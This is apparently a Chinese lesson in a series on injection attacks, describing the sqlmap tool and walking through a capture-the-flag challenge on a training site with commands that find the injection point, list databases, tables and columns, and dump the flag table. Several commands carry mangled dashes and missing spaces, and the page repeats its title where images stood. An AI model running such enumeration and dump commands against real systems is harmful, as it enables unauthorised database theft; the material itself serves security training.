41. 注入篇——注入工具SQLmap使用

SQLmap简介

Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server,Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB 

SQL注入技术:boolean-based blind, time-based blind, error-based,UNION query, stacked queries and out-of-band

枚举数据:users, password hashes, privileges, roles, databases,tables and columns

SQLmap使用

一道CTF测试题目:

目标地址: http://ctf5.shiyanbar.com/web/index_3.php?id=1

1)在终端输入命令:“Sqlmap.py –u 目标URL  -u扫描注入点扫描目标主机,检测出的信息准确。

41.	注入篇——注入工具SQLmap使用

(2)爆出数据库:

Sqlmap.py –u  http://ctf5.shiyanbar.com/web/index_3.php?id=1–-dbs

41.	注入篇——注入工具SQLmap使用

41.	注入篇——注入工具SQLmap使用

(3)爆表:

Sqlmap.py –u  http://ctf5.shiyanbar.com/web/index_3.php?id=1–D web1 –-tables

41.	注入篇——注入工具SQLmap使用

41.	注入篇——注入工具SQLmap使用

(4)爆字段:

Sqlmap.py –u  http://ctf5.shiyanbar.com/web/index_3.php?id=1–D web1 –T flag –-columns 

41.	注入篇——注入工具SQLmap使用

41.	注入篇——注入工具SQLmap使用

41.	注入篇——注入工具SQLmap使用

(5)显示字段值:

Sqlmap.py –u  http://ctf5.shiyanbar.com/web/index_3.php?id=1 –D web1 –T flag –C--dump

41.	注入篇——注入工具SQLmap使用

41.	注入篇——注入工具SQLmap使用

至此获得flag:

flag{[email protected]_5O_dAmn_90Od}